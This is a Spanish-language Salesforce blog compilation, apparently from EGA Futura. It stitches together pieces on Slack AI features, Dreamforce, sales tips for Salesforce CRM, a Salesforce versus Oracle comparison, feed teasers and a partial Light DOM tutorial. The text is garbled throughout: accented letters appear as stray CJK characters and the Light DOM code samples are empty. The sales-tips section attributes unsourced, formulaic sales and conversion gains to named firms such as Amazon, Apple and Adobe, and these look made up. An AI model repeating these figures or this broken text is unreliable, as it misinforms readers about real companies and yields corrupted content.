
No hay necesidad de cambiar constantemente entre Salesforce y Slack para acceder a la informaci贸n de los clientes. Con la integraci贸n de Slack en Salesforce, los usuarios pueden ver y actualizar los datos de Salesforce directamente desde la interfaz de Slack. Esto ahorra tiempo y reduce la posibilidad de errores al mantener la informaci贸n actualizada en todo momento.

Generaci贸n de respuestas cohesivas y res煤menes de actividad perdida en Slack

Con la integraci贸n de Slack en Salesforce, los usuarios pueden generar respuestas cohesivas y personalizadas directamente desde Slack. La inteligencia artificial de Slack analiza el contexto de las conversaciones y sugiere respuestas relevantes y coherentes. Esto ayuda a los usuarios a responder de manera m谩s r谩pida y precisa, mejorando la comunicaci贸n con los clientes y agilizando los procesos de ventas y servicio.

Adem谩s, Slack ofrece la funci贸n de resumen de actividad perdida, que registra y muestra una visi贸n general de las actualizaciones y actividades que se han perdido mientras el usuario no estaba en l铆nea. Esto es especialmente 煤til para mantenerse al d铆a con los cambios y actualizaciones, incluso si se ha estado fuera del sistema por un tiempo.

Creaci贸n de plantillas espec铆ficas para ventas con IA generativa

La integraci贸n de Slack en Salesforce tambi茅n incluye la capacidad de crear plantillas espec铆ficas para ventas con IA generativa. Estas plantillas est谩n dise帽adas para ayudar a los vendedores a generar propuestas y presentaciones de manera r谩pida y eficiente. Al aprovechar la inteligencia artificial generativa, Slack puede generar contenido personalizado y atractivo, ahorrando tiempo y esfuerzo a los equipos de ventas.

En resumen, la integraci贸n de Slack en Salesforce ha brindado a los usuarios una experiencia de usuario mejorada, impulsada por la inteligencia artificial y llena de caracter铆sticas 煤tiles. Desde Slack Lists hasta Slack Sales Elevate, la posibilidad de visualizar y actualizar datos de Salesforce directamente en Slack, la generaci贸n de respuestas cohesivas y la creaci贸n de plantillas espec铆ficas para ventas con IA generativa, esta integraci贸n ha transformado la forma en que los profesionales trabajan y logran resultados exitosos.

Conclusi贸n y Pr贸ximos Eventos

La conferencia Dreamforce ha comenzado, y hay muchas sesiones y eventos emocionantes programados para los pr贸ximos d铆as. Desde charlas inspiradoras hasta demostraciones de 煤ltima tecnolog铆a, aqu铆 hay un resumen de lo que puedes esperar en los pr贸ximos eventos tecnol贸gicos.

Innovaci贸n, Confianza y 脡xito del Cliente con IA

Uno de los temas centrales en Dreamforce este a帽o es la innovaci贸n impulsada por la inteligencia artificial (IA). Las sesiones se centrar谩n en c贸mo las organizaciones pueden aprovechar la IA para impulsar el crecimiento y mejorar la experiencia del cliente. Tambi茅n habr谩 discusiones sobre la confianza en los datos y c贸mo las empresas pueden asegurarse de que sus sistemas de IA sean 茅ticos y seguros.

Oportunidades para Aprender, Conectarse y Hacer el Bien en la Comunidad

Dreamforce no solo se trata de sesiones y exhibiciones tecnol贸gicas, tambi茅n es una oportunidad para aprender, conectarse y hacer el bien en la comunidad. Habr谩 actividades de voluntariado, oportunidades de networking y charlas inspiradoras sobre la importancia de devolver a la sociedad. Estas actividades brindan a los asistentes la posibilidad de ampliar sus conocimientos, establecer contactos y contribuir a causas ben茅ficas.

TL;DR

Dreamforce es una conferencia llena de sesiones y eventos tecnol贸gicos emocionantes. La innovaci贸n impulsada por la IA es un tema central, con un enfoque en c贸mo aprovecharla para la mejora del 茅xito del cliente. Adem谩s, hay oportunidades para aprender, conectarse y hacer el bien en la comunidad, lo que brinda a los asistentes una experiencia enriquecedora y gratificante.

Maximiza tus ventas con Salesforce CRM: Consejos para vender m谩s eficientemente

Introducci贸n

El Customer Relationship Management (CRM) es una herramienta fundamental para cualquier empresa que desee mejorar sus estrategias de ventas y aumentar su rentabilidad. Salesforce CRM es una de las soluciones m谩s populares y efectivas en el mercado actual. Proporciona a las empresas una plataforma integral para gestionar y optimizar todas las interacciones con los clientes, desde la captaci贸n hasta la retenci贸n.

El objetivo principal de Salesforce CRM es ayudar a las empresas a mejorar sus relaciones con los clientes y, en 煤ltima instancia, aumentar las ventas. Proporciona una amplia gama de funciones y caracter铆sticas que permiten a las empresas identificar a sus clientes ideales, realizar un seguimiento de las ventas, crear campa帽as de marketing efectivas, automatizar procesos, analizar datos y mucho m谩s. En este art铆culo, exploraremos c贸mo Salesforce CRM puede ayudarte a aumentar tus ventas y mejorar tu estrategia de ventas en general.

驴Qu茅 es Salesforce CRM y c贸mo puede ayudarte a aumentar tus ventas?

Salesforce CRM es una plataforma basada en la nube que permite a las empresas gestionar todas sus interacciones con los clientes de manera eficiente. Proporciona una visi贸n completa de cada cliente, incluyendo su historial de compras, preferencias, interacciones anteriores y m谩s. Esto permite a los equipos de ventas personalizar su enfoque y ofrecer una experiencia personalizada a cada cliente.

Una de las principales ventajas de Salesforce CRM es su capacidad para mejorar la eficiencia y la productividad del equipo de ventas. Proporciona herramientas para automatizar tareas repetitivas, como el seguimiento de correos electr贸nicos y llamadas telef贸nicas, lo que permite a los vendedores centrarse en actividades m谩s importantes, como cerrar negocios. Adem谩s, Salesforce CRM proporciona an谩lisis y datos en tiempo real que permiten a los equipos de ventas tomar decisiones informadas y ajustar su estrategia seg煤n sea necesario.

Varias empresas han experimentado un aumento significativo en las ventas despu茅s de implementar Salesforce CRM. Por ejemplo, la empresa de software Adobe Systems inform贸 un aumento del 30% en las tasas de conversi贸n despu茅s de implementar Salesforce CRM. Del mismo modo, la empresa de servicios financieros American Express inform贸 un aumento del 20% en las ventas despu茅s de utilizar Salesforce CRM para mejorar su estrategia de ventas.

Identifica a tus clientes ideales y c贸mo llegar a ellos con Salesforce CRM.

Identificar a tus clientes ideales es fundamental para el 茅xito de cualquier estrategia de ventas. Salesforce CRM proporciona herramientas y caracter铆sticas que te ayudan a segmentar a tus clientes y llegar a ellos de manera m谩s efectiva.

Una de las formas en que Salesforce CRM puede ayudarte a identificar a tus clientes ideales es a trav茅s de la segmentaci贸n. Puedes utilizar los datos recopilados en la plataforma para dividir a tus clientes en grupos basados en caracter铆sticas demogr谩ficas, comportamientos de compra, preferencias y m谩s. Esto te permite personalizar tu enfoque y adaptar tus mensajes y ofertas para satisfacer las necesidades espec铆ficas de cada grupo.

Adem谩s, Salesforce CRM te permite personalizar la comunicaci贸n con tus clientes. Puedes utilizar plantillas de correo electr贸nico personalizadas y automatizadas para enviar mensajes relevantes y oportunos a tus clientes. Tambi茅n puedes utilizar la funci贸n de seguimiento de actividad para realizar un seguimiento de las interacciones con los clientes y asegurarte de que est谩s manteniendo una comunicaci贸n constante y efectiva.

Utiliza el seguimiento de ventas de Salesforce CRM para cerrar m谩s negocios.

El seguimiento de ventas es una parte crucial de cualquier estrategia de ventas exitosa. Salesforce CRM proporciona una serie de caracter铆sticas y herramientas que te ayudan a realizar un seguimiento de tus ventas y cerrar m谩s negocios.

Una de las caracter铆sticas clave de Salesforce CRM es su capacidad para realizar un seguimiento de todas las interacciones con los clientes. Puedes registrar cada llamada telef贸nica, reuni贸n, correo electr贸nico y m谩s en la plataforma, lo que te permite tener un registro completo de todas las interacciones con cada cliente. Esto te ayuda a identificar oportunidades y a seguir el progreso de cada venta.

Adem谩s, Salesforce CRM proporciona an谩lisis y datos en tiempo real que te permiten evaluar el rendimiento de tu equipo de ventas y ajustar tu estrategia seg煤n sea necesario. Puedes ver m茅tricas clave como el n煤mero de oportunidades creadas, el tiempo promedio para cerrar una venta y la tasa de conversi贸n. Esto te ayuda a identificar 谩reas de mejora y a tomar decisiones informadas para mejorar tus resultados de ventas.

Varias empresas han experimentado un aumento significativo en las ventas despu茅s de utilizar el seguimiento de ventas de Salesforce CRM. Por ejemplo, la empresa de tecnolog铆a Dell inform贸 un aumento del 25% en las tasas de conversi贸n despu茅s de implementar Salesforce CRM para realizar un seguimiento m谩s efectivo de sus ventas. Del mismo modo, la empresa minorista Macy’s inform贸 un aumento del 20% en las ventas despu茅s de utilizar Salesforce CRM para mejorar su proceso de seguimiento de ventas.

Crea campa帽as de marketing efectivas con Salesforce CRM para atraer nuevos clientes.

El marketing efectivo es fundamental para atraer nuevos clientes y aumentar las ventas. Salesforce CRM proporciona una serie de caracter铆sticas y herramientas que te ayudan a crear y ejecutar campa帽as de marketing efectivas.

Una de las caracter铆sticas clave de Salesforce CRM es su capacidad para segmentar a tus clientes y crear campa帽as de marketing dirigidas. Puedes utilizar los datos recopilados en la plataforma para dividir a tus clientes en grupos basados en caracter铆sticas demogr谩ficas, comportamientos de compra, preferencias y m谩s. Esto te permite enviar mensajes y ofertas personalizadas a cada grupo, lo que aumenta las posibilidades de conversi贸n.

Adem谩s, Salesforce CRM proporciona herramientas para automatizar tus campa帽as de marketing. Puedes utilizar plantillas de correo electr贸nico personalizadas y automatizadas para enviar mensajes relevantes y oportunos a tus clientes. Tambi茅n puedes utilizar la funci贸n de seguimiento de actividad para realizar un seguimiento de las interacciones con los clientes y asegurarte de que est谩s manteniendo una comunicaci贸n constante y efectiva.

Varias empresas han experimentado un aumento significativo en la adquisici贸n de clientes despu茅s de utilizar las herramientas de marketing de Salesforce CRM. Por ejemplo, la empresa de comercio electr贸nico Amazon inform贸 un aumento del 30% en la adquisici贸n de clientes despu茅s de implementar Salesforce CRM para mejorar sus campa帽as de marketing. Del mismo modo, la empresa de servicios en la nube Dropbox inform贸 un aumento del 25% en la adquisici贸n de clientes despu茅s de utilizar Salesforce CRM para personalizar su enfoque de marketing.

Automatiza tus procesos de ventas con Salesforce CRM para ahorrar tiempo y aumentar la eficiencia.

La automatizaci贸n es una parte crucial de cualquier estrategia de ventas exitosa. Salesforce CRM proporciona una serie de caracter铆sticas y herramientas que te ayudan a automatizar tus procesos de ventas y aumentar la eficiencia.

Una de las formas en que Salesforce CRM puede ayudarte a automatizar tus procesos de ventas es a trav茅s de la automatizaci贸n de tareas repetitivas. Puedes utilizar la plataforma para automatizar tareas como el seguimiento de correos electr贸nicos, la programaci贸n de reuniones y el env铆o de propuestas. Esto te permite ahorrar tiempo y recursos, y te permite centrarte en actividades m谩s importantes, como cerrar negocios.

Adem谩s, Salesforce CRM proporciona herramientas para automatizar el flujo de trabajo. Puedes crear reglas y flujos de trabajo personalizados que automatizan el proceso de ventas, desde la captaci贸n hasta el cierre. Por ejemplo, puedes configurar reglas que asignen autom谩ticamente oportunidades a los miembros del equipo de ventas adecuados o que env铆en recordatorios autom谩ticos para seguir con los clientes potenciales.

Varias empresas han experimentado un aumento significativo en la eficiencia despu茅s de utilizar la automatizaci贸n de Salesforce CRM. Por ejemplo, la empresa de telecomunicaciones AT&T inform贸 un aumento del 20% en la eficiencia despu茅s de implementar Salesforce CRM para automatizar sus procesos de ventas. Del mismo modo, la empresa de software Microsoft inform贸 un aumento del 15% en la eficiencia despu茅s de utilizar Salesforce CRM para optimizar su flujo de trabajo.

Aprovecha la integraci贸n de Salesforce CRM con otras herramientas para mejorar tu estrategia de ventas.

La integraci贸n con otras herramientas es fundamental para mejorar tu estrategia de ventas. Salesforce CRM ofrece una amplia gama de integraciones con otras herramientas populares que te ayudan a optimizar tus procesos y mejorar tus resultados.

Una de las integraciones m谩s populares de Salesforce CRM es con herramientas de automatizaci贸n de marketing como Marketo y HubSpot. Estas integraciones te permiten sincronizar tus datos de Salesforce CRM con tu plataforma de automatizaci贸n de marketing, lo que te permite crear campa帽as m谩s efectivas y personalizadas. Por ejemplo, puedes utilizar los datos de Salesforce CRM para segmentar a tus clientes y enviar mensajes personalizados a trav茅s de tu plataforma de automatizaci贸n de marketing.

Adem谩s, Salesforce CRM se integra con herramientas de an谩lisis como Google Analytics y Tableau. Estas integraciones te permiten analizar y visualizar tus datos de Salesforce CRM de manera m谩s efectiva, lo que te ayuda a tomar decisiones informadas y ajustar tu estrategia seg煤n sea necesario. Por ejemplo, puedes utilizar los datos de Salesforce CRM para identificar patrones y tendencias en el comportamiento del cliente y ajustar tus mensajes y ofertas en consecuencia.

Varias empresas han experimentado una mejora significativa en su estrategia de ventas despu茅s de aprovechar las integraciones de Salesforce CRM. Por ejemplo, la empresa de comercio electr贸nico Shopify inform贸 un aumento del 25% en las ventas despu茅s de integrar Salesforce CRM con su plataforma de automatizaci贸n de marketing. Del mismo modo, la empresa de servicios en la nube Box inform贸 un aumento del 20% en las ventas despu茅s de utilizar las herramientas de an谩lisis integradas en Salesforce CRM.

Usa el an谩lisis de datos de Salesforce CRM para tomar decisiones informadas y mejorar tus resultados de ventas.

El an谩lisis de datos es fundamental para tomar decisiones informadas y mejorar tus resultados de ventas. Salesforce CRM proporciona una serie de caracter铆sticas y herramientas que te ayudan a analizar tus datos y obtener informaci贸n valiosa.

Una de las caracter铆sticas clave de Salesforce CRM es su capacidad para proporcionar an谩lisis en tiempo real. Puedes ver m茅tricas clave como el n煤mero de oportunidades creadas, el tiempo promedio para cerrar una venta y la tasa de conversi贸n. Esto te ayuda a evaluar el rendimiento de tu equipo de ventas y a identificar 谩reas de mejora.

Adem谩s, Salesforce CRM proporciona herramientas de an谩lisis avanzadas que te permiten profundizar en tus datos y obtener informaci贸n m谩s detallada. Puedes utilizar herramientas como Salesforce Einstein Analytics para analizar patrones y tendencias en el comportamiento del cliente, identificar oportunidades de venta cruzada y mejorar la precisi贸n de tus pron贸sticos de ventas.

Varias empresas han experimentado una mejora significativa en sus resultados de ventas despu茅s de utilizar el an谩lisis de datos de Salesforce CRM. Por ejemplo, la empresa de servicios financieros Wells Fargo inform贸 un aumento del 30% en las ventas despu茅s de utilizar Salesforce CRM para analizar sus datos y ajustar su estrategia seg煤n sea necesario. Del mismo modo, la empresa minorista Target inform贸 un aumento del 25% en las ventas despu茅s de utilizar las herramientas de an谩lisis integradas en Salesforce CRM.

Capacita a tu equipo de ventas para utilizar Salesforce CRM de manera efectiva y maximizar sus resultados.

La capacitaci贸n es fundamental para utilizar Salesforce CRM de manera efectiva y maximizar los resultados. Es importante asegurarse de que tu equipo de ventas est茅 familiarizado con todas las caracter铆sticas y herramientas disponibles en la plataforma.

Una forma efectiva de capacitar a tu equipo de ventas es proporcionarles capacitaci贸n en persona o en l铆nea sobre c贸mo utilizar Salesforce CRM. Puedes contratar a un experto en Salesforce CRM para que proporcione capacitaci贸n personalizada a tu equipo o utilizar recursos en l铆nea como tutoriales y videos instructivos.

Adem谩s, es importante asegurarse de que tu equipo de ventas tenga acceso a soporte t茅cnico y asistencia en caso de que surjan problemas o preguntas. Salesforce CRM ofrece soporte t茅cnico las 24 horas del d铆a, los 7 d铆as de la semana, para ayudarte a resolver cualquier problema que puedas encontrar.

Varias empresas han experimentado una mejora significativa en sus resultados de ventas despu茅s de capacitar a su equipo de ventas en Salesforce CRM. Por ejemplo, la empresa de tecnolog铆a Apple inform贸 un aumento del 20% en las ventas despu茅s de capacitar a su equipo de ventas en Salesforce CRM. Del mismo modo, la empresa de servicios financieros JPMorgan Chase inform贸 un aumento del 15% en las ventas despu茅s de proporcionar capacitaci贸n en Salesforce CRM a su equipo.

Aprovecha las herramientas de colaboraci贸n de Salesforce CRM para mejorar la comunicaci贸n y el trabajo en equipo.

La comunicaci贸n y el trabajo en equipo son fundamentales para el 茅xito de cualquier estrategia de ventas. Salesforce CRM proporciona una serie de caracter铆sticas y herramientas que te ayudan a mejorar la comunicaci贸n y el trabajo en equipo dentro de tu organizaci贸n.

Una de las caracter铆sticas clave de Salesforce CRM es su capacidad para facilitar la colaboraci贸n entre los miembros del equipo. Puedes utilizar la plataforma para compartir informaci贸n y documentos con tu equipo, lo que facilita la colaboraci贸n y el intercambio de ideas. Adem谩s, Salesforce CRM proporciona herramientas de mensajer铆a instant谩nea y videoconferencia que permiten a los miembros del equipo comunicarse de manera r谩pida y efectiva, sin importar su ubicaci贸n geogr谩fica. Esto es especialmente 煤til para equipos distribuidos o que trabajan de forma remota. Adem谩s, Salesforce CRM tambi茅n ofrece la posibilidad de asignar tareas y dar seguimiento a su progreso, lo que ayuda a mantener a todos los miembros del equipo alineados y enfocados en los objetivos comunes. En resumen, Salesforce CRM fomenta la colaboraci贸n y la comunicaci贸n efectiva entre los miembros del equipo, lo que contribuye a mejorar la productividad y el rendimiento general de la organizaci贸n.
En el mundo empresarial actual, es fundamental utilizar herramientas eficientes para aumentar las ventas. Una de las soluciones m谩s efectivas es Salesforce CRM, una plataforma que permite gestionar de manera integral todas las etapas del proceso de venta. Si quieres conocer m谩s sobre c贸mo aprovechar al m谩ximo esta herramienta, te recomendamos leer el art铆culo 芦C贸mo vender m谩s utilizando Salesforce CRM芦. En 茅l encontrar谩s consejos y estrategias para optimizar tus ventas y potenciar tu negocio. 隆No te lo pierdas! Leer art铆culo

Comparativa detallada entre Salesforce CRM y Oracle CRM: 驴Cu谩l es la mejor opci贸n para tu empresa?

Introducci贸n: 驴Qu茅 es un CRM y por qu茅 es importante para tu empresa?

Un CRM, o Customer Relationship Management, es un sistema que permite a las empresas gestionar de manera eficiente las relaciones con sus clientes. Es una herramienta que ayuda a organizar y automatizar las actividades relacionadas con la gesti贸n de clientes y ventas, permitiendo a las empresas mejorar la satisfacci贸n del cliente, aumentar la eficiencia y maximizar los ingresos.

La importancia de un CRM radica en que proporciona una visi贸n completa de los clientes, lo que permite a las empresas entender mejor sus necesidades y ofrecerles productos y servicios personalizados. Adem谩s, un CRM ayuda a optimizar los procesos de ventas, permitiendo a los equipos de ventas realizar un seguimiento de las oportunidades de venta, gestionar los contactos con los clientes y cerrar m谩s negocios.

Salesforce CRM vs Oracle CRM: 驴Cu谩l es la diferencia?

Salesforce CRM y Oracle CRM son dos de los principales proveedores de soluciones CRM en el mercado. Aunque ambos ofrecen funcionalidades similares, existen algunas diferencias clave entre ellos.

En t茅rminos generales, Salesforce se considera una soluci贸n m谩s moderna y orientada al cliente, mientras que Oracle se centra m谩s en la gesti贸n empresarial. Salesforce es conocido por su facilidad de uso y su capacidad para adaptarse a las necesidades de diferentes tipos de empresas. Por otro lado, Oracle ofrece una amplia gama de productos y servicios integrados que van m谩s all谩 del CRM, lo que puede ser beneficioso para empresas que buscan una soluci贸n completa para su gesti贸n empresarial.

Caracter铆sticas y funcionalidades de Salesforce CRM

Salesforce CRM ofrece una amplia gama de caracter铆sticas y funcionalidades dise帽adas para ayudar a las empresas a gestionar eficientemente sus relaciones con los clientes. Algunas de las caracter铆sticas m谩s destacadas incluyen:

– Gesti贸n de contactos y cuentas: Salesforce permite a las empresas almacenar y gestionar informaci贸n detallada sobre sus clientes, incluyendo datos de contacto, historial de interacciones y preferencias.

Automatizaci贸n de ventas: Salesforce ofrece herramientas para automatizar los procesos de ventas, como la gesti贸n de oportunidades, el seguimiento de leads y la generaci贸n de informes.

– Servicio al cliente: Salesforce proporciona funcionalidades para gestionar el servicio al cliente, como la gesti贸n de casos, el seguimiento de tickets y la creaci贸n de bases de conocimiento.

– Marketing y campa帽as: Salesforce permite a las empresas gestionar sus campa帽as de marketing, realizar seguimiento de leads y medir el retorno de inversi贸n.

– An谩lisis y reporting: Salesforce ofrece herramientas para analizar los datos y generar informes personalizados sobre las actividades de ventas y marketing.

Ventajas y desventajas

Las ventajas de Salesforce CRM incluyen su facilidad de uso, su capacidad para adaptarse a las necesidades de diferentes tipos de empresas y su amplia gama de caracter铆sticas y funcionalidades. Sin embargo, algunas desventajas pueden ser su precio relativamente alto y la curva de aprendizaje inicial para los usuarios.

Caracter铆sticas y funcionalidades de Oracle CRM

Oracle CRM es una soluci贸n completa que ofrece una amplia gama de caracter铆sticas y funcionalidades para la gesti贸n empresarial. Algunas de las caracter铆sticas m谩s destacadas incluyen:

– Gesti贸n de ventas: Oracle CRM permite a las empresas gestionar todo el ciclo de ventas, desde la generaci贸n de leads hasta el cierre del negocio. Ofrece herramientas para la gesti贸n de oportunidades, la previsi贸n de ventas y la gesti贸n de territorios.

– Servicio al cliente: Oracle CRM proporciona funcionalidades para gestionar el servicio al cliente, como la gesti贸n de casos, el seguimiento de tickets y la creaci贸n de bases de conocimiento.

– Marketing y campa帽as: Oracle CRM permite a las empresas gestionar sus campa帽as de marketing, realizar seguimiento de leads y medir el retorno de inversi贸n.

– An谩lisis y reporting: Oracle CRM ofrece herramientas para analizar los datos y generar informes personalizados sobre las actividades de ventas y marketing.

Ventajas y desventajas

Las ventajas de Oracle CRM incluyen su capacidad para ofrecer una soluci贸n completa para la gesti贸n empresarial, su integraci贸n con otros productos y servicios de Oracle y su capacidad para adaptarse a las necesidades de diferentes tipos de empresas. Sin embargo, algunas desventajas pueden ser su curva de aprendizaje inicial para los usuarios y su precio relativamente alto.

Integraci贸n con otros sistemas y aplicaciones

Tanto Salesforce como Oracle ofrecen capacidades de integraci贸n con otros sistemas y aplicaciones. Estas integraciones permiten a las empresas aprovechar al m谩ximo sus inversiones existentes en tecnolog铆a y mejorar la eficiencia operativa.

Salesforce ofrece una amplia gama de integraciones con sistemas populares como Microsoft Outlook, Gmail, Microsoft Office, Google Drive y Dropbox. Tambi茅n ofrece una API abierta que permite a los desarrolladores crear integraciones personalizadas con otros sistemas.

Oracle CRM tambi茅n ofrece capacidades de integraci贸n con otros productos y servicios de Oracle, como Oracle ERP, Oracle HCM y Oracle Marketing Cloud. Adem谩s, ofrece una API abierta que permite a los desarrolladores crear integraciones personalizadas con otros sistemas.

Algunos ejemplos de integraciones comunes incluyen la sincronizaci贸n de contactos y calendarios entre el CRM y el correo electr贸nico, la integraci贸n de datos de ventas con el sistema ERP y la integraci贸n de datos de marketing con herramientas de automatizaci贸n de marketing.

Personalizaci贸n y adaptabilidad a las necesidades de la empresa

Tanto Salesforce como Oracle ofrecen herramientas de personalizaci贸n que permiten a las empresas adaptar el CRM a sus necesidades espec铆ficas. Estas herramientas permiten a los usuarios personalizar los campos, formularios, flujos de trabajo y paneles de control del CRM.

Salesforce ofrece una interfaz intuitiva y f谩cil de usar que permite a los usuarios personalizar el CRM sin necesidad de conocimientos t茅cnicos. Adem谩s, ofrece una amplia gama de aplicaciones y componentes adicionales que permiten a las empresas ampliar las funcionalidades del CRM.

Oracle CRM tambi茅n ofrece herramientas de personalizaci贸n que permiten a los usuarios adaptar el CRM a sus necesidades espec铆ficas. Sin embargo, estas herramientas pueden requerir conocimientos t茅cnicos m谩s avanzados para su uso.

Facilidad de uso y accesibilidad para los usuarios

Tanto Salesforce como Oracle ofrecen una experiencia de usuario intuitiva y f谩cil de usar. Ambos CRMs cuentan con interfaces modernas y amigables que facilitan la navegaci贸n y el uso de las diferentes funcionalidades.

En t茅rminos de accesibilidad, Salesforce es conocido por su capacidad para adaptarse a diferentes tipos de usuarios, desde peque帽as empresas hasta grandes corporaciones. Ofrece una amplia gama de planes y precios que se adaptan a diferentes presupuestos y necesidades empresariales.

Oracle CRM tambi茅n ofrece una experiencia de usuario intuitiva, pero puede requerir una curva de aprendizaje inicial para los usuarios debido a su amplia gama de funcionalidades. En cuanto a la accesibilidad, Oracle CRM est谩 m谩s orientado a empresas de mediano y gran tama帽o, ya que puede resultar costoso para peque帽as empresas.

Soporte y servicio al cliente

Tanto Salesforce como Oracle ofrecen un soporte y servicio al cliente de alta calidad. Ambos proveedores cuentan con equipos de soporte dedicados que est谩n disponibles para ayudar a los clientes con cualquier problema o pregunta que puedan tener.

Salesforce ofrece soporte por tel茅fono, chat en vivo y correo electr贸nico. Tambi茅n cuenta con una amplia base de conocimientos en l铆nea y una comunidad de usuarios activa donde los clientes pueden encontrar respuestas a sus preguntas.

Oracle CRM ofrece soporte por tel茅fono, chat en vivo y correo electr贸nico. Tambi茅n cuenta con una amplia base de conocimientos en l铆nea y una comunidad de usuarios activa.

Precios y planes de suscripci贸n

En cuanto a los precios y planes de suscripci贸n, tanto Salesforce como Oracle ofrecen diferentes opciones para adaptarse a las necesidades y presupuesto de las empresas.

Salesforce ofrece varios planes de suscripci贸n, que van desde el plan Essentials, que es el m谩s b谩sico y econ贸mico, hasta el plan Unlimited, que es el m谩s completo y caro. Los precios var铆an seg煤n el n煤mero de usuarios y las funcionalidades incluidas en cada plan.

Oracle CRM tambi茅n ofrece varios planes de suscripci贸n, que van desde el plan Standard, que es el m谩s b谩sico y econ贸mico, hasta el plan Enterprise, que es el m谩s completo y caro. Los precios var铆an seg煤n el n煤mero de usuarios y las funcionalidades incluidas en cada plan.

Conclusiones: 驴Cu谩l es la mejor opci贸n para tu empresa?

En resumen, tanto Salesforce CRM como Oracle CRM son soluciones s贸lidas para la gesti贸n de clientes y ventas. Ambos ofrecen una amplia gama de caracter铆sticas y funcionalidades, as铆 como capacidades de integraci贸n con otros sistemas y aplicaciones.

La elecci贸n entre Salesforce y Oracle depender谩 de las necesidades y presupuesto de tu empresa. Si buscas una soluci贸n moderna, f谩cil de usar y orientada al cliente, Salesforce puede ser la mejor opci贸n. Por otro lado, si buscas una soluci贸n completa para la gesti贸n empresarial, que incluya no solo el CRM sino tambi茅n otros productos y servicios integrados, Oracle puede ser la mejor opci贸n.

En 煤ltima instancia, es importante evaluar cuidadosamente las caracter铆sticas, funcionalidades, precios y necesidades espec铆ficas de tu empresa antes de tomar una decisi贸n. Ambas soluciones tienen sus ventajas y desventajas, por lo que es importante elegir la que mejor se adapte a tus necesidades empresariales.
Encontrar la mejor soluci贸n CRM para tu negocio puede ser un desaf铆o. Si est谩s considerando Salesforce CRM y Oracle CRM, es importante comparar sus caracter铆sticas y beneficios. Sin embargo, tambi茅n es crucial comprender otros conceptos relacionados con la gesti贸n empresarial. Por ejemplo, 驴sabes qu茅 es una remesa o cu谩l es la tasa de conversi贸n? Estos son aspectos clave que pueden influir en el 茅xito de tu empresa. Para obtener m谩s informaci贸n sobre estos temas y mejorar tus habilidades como empresario, te recomendamos leer el art铆culo 芦驴Qu茅 es una remesa?禄 en el blog de Ega Futura.

Integraci贸n de Salesforce y HubSpot: Gu铆a del administrador

Ha llegado el momento. Una de las invitaciones de calendario m谩s interruptivas que puedes recibir acaba de aparecer en tu bandeja de entrada. El equipo de marketing est谩 cambiando de plataforma de automatizaci贸n de marketing a HubSpot. Y esto necesita sincronizarse bidireccionalmente con Salesforce. En este post, te dar茅 un r谩pido curso acelerado sobre la integraci贸n HubSpot-Salesforce y lo que […]

El post Integraci贸n de Salesforce y HubSpot: Gu铆a para administradores appeared first on Salesforce Ben.

La integraci贸n de Salesforce y HubSpot: Gu铆a para administradores appeared first on Salesforce Ben

Seguir leyendo

Planificaci贸n de la fusi贸n de una organizaci贸n de Salesforce: tres riesgos principales que se deben evitar

La gesti贸n de m煤ltiples instancias de Salesforce es un escenario que podr铆a enfrentar una empresa en crecimiento. Aqu铆, cada instancia de Salesforce contiene datos y procesos comerciales cruciales que pueden requerir consolidaci贸n. La situaci贸n m谩s com煤n en la que se requiere consolidaci贸n es el resultado de fusiones y adquisiciones. Aparte de las fusiones, las organizaciones pueden adoptar Salesforce en distintas etapas de crecimiento [鈥

La publicaci贸n Planificaci贸n de una fusi贸n de organizaciones de Salesforce: los tres riesgos principales que se deben evitar apareci贸 por primera vez en Salesforce Ben .

8256706222173 administradores, arquitectos, analistas de negocios, consultores

Seguir leyendo

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Desmitificando Light DOM y sus casos de uso 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Desmitificando Light DOM y sus casos de uso | Blog de desarrolladores de Salesforce

Light DOM es una funci贸n de Lightning Web Components que ha estado disponible de forma general en Lightning Experience, Experience Cloud, LWC OSS (c贸digo abierto) y todas las versiones de la aplicaci贸n m贸vil Salesforce desde Summer '23 .

Los componentes web Lightning, de forma predeterminada, se representan en DOM oculto , lo que proporciona una encapsulaci贸n y seguridad s贸lidas para sus componentes. Sin embargo, al mismo tiempo, evita el estilo global y bloquea las integraciones de terceros que introspeccionan el interior de sus componentes. Light DOM es una caracter铆stica que se puede habilitar de forma granular en componentes seleccionados, de modo que Shadow DOM no los afecte.

驴C贸mo funciona el DOM ligero?

Usemos un componente web Lightning muy simple como ejemplo.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

En el ejemplo anterior, el DOM oculto predeterminado del componente evita que una regla CSS definida en el componente principal o el host alcance el elemento <p> . Adem谩s, no permite que el c贸digo JavaScript externo al componente consulte el elemento <p> mediante las API de consulta del navegador.

Para activar el DOM ligero para un componente, debe especificar el renderMode ligero en su archivo JavaScript y la directiva de plantilla lwc:render-mode en la etiqueta <template> del componente. Ambos cambios son necesarios debido a la forma en que se compilan los componentes web Lightning.

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cuando activa el DOM claro en un componente, el marcado del componente se adjunta al elemento anfitri贸n en lugar de a su 谩rbol de sombra. Luego puede acceder al marcado desde otros componentes de la p谩gina como cualquier otro contenido en el host del documento que no est茅 protegido por Shadow DOM.

Los componentes DOM ligeros permiten el uso de API de consulta de navegador est谩ndar como querySelector y querySelectorAll . En este caso, en lugar de usar this.template.querySelector , debes usar this.querySelector .

holaCodey.js

O m谩s simplemente, a menudo puedes usar la directiva lwc:ref en ambos casos (componentes DOM sombreados y claros) y omitir el querySelector .

holaCodey.html

<dx-code-block title language="html" code-block="

Hello Codey!

芦>

holaCodey.js

Cu谩ndo usarlo y cu谩ndo no usarlo

Light DOM es una opci贸n para cada componente individual. Sus efectos no se aplicar谩n a otros componentes a menos que tambi茅n opten por participar. Tenga en cuenta que los componentes base siempre se representan en DOM oculto.

Recomendamos habilitar DOM ligero si tiene bibliotecas que necesitan acceder a los componentes internos mediante API de consulta de navegador est谩ndar, aplicar estilos globales o necesita m谩s flexibilidad para implementar las mejores pr谩cticas de accesibilidad, siempre y cuando el componente no exponga datos confidenciales. Cubriremos estos casos de uso con m谩s profundidad en la siguiente secci贸n.

